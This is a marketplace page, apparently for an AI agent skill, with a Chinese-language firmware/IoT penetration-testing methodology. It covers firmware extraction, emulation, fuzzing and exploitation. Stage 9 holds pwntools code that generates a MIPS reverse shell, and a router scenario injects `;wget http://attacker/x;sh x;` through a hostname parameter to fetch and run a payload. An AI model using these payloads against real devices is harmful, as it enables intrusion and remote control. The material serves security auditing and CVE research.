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/firmware-pentest

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU

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coco
796200 skills53 agents42 commands3 hooks

Claude Code

$ npx -y skills add coco-research/coco --skill firmware-pentest --agent claude-code

SKILL.md

firmware-pentest.SKILL.md
name: firmware-pentest
description: |
  固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。
  方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。
  适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。
  触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
user-invocable: true

固件 / IoT 渗透链 (Firmware Pentest)

适用范围

下列任务进入本 skill:

1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE 2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞 3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump 4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT) 5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz) 6. **硬件接口接入**(UART / JTAG / SPI flash dump)

与其他 skill 分工

| 场景 | 用什么 | |------|--------| | 从零拿到固件,全链路走 FSTM | **本 skill** | | 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` | | 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` | | 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` | | APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) | | 跨版本固件符号迁移 | `binary-diff/` |

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

  • 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
  • EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
  • 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
  • ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 `references/extraction-methodology.md`。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 `references/emba-automated-analysis.md`。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 `references/emulation-and-fuzz.md`。

# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)

Step 2 获取固件
  - 官网下载 .bin,sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95(正常压缩)

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1,Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

场景 2:加密固件(找 bootloader 解密例程)

固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill(IDA / Ghidra)
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC,key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全
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Questions about firmware-pentest.

Which coding agents can use firmware-pentest?
firmware-pentest installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.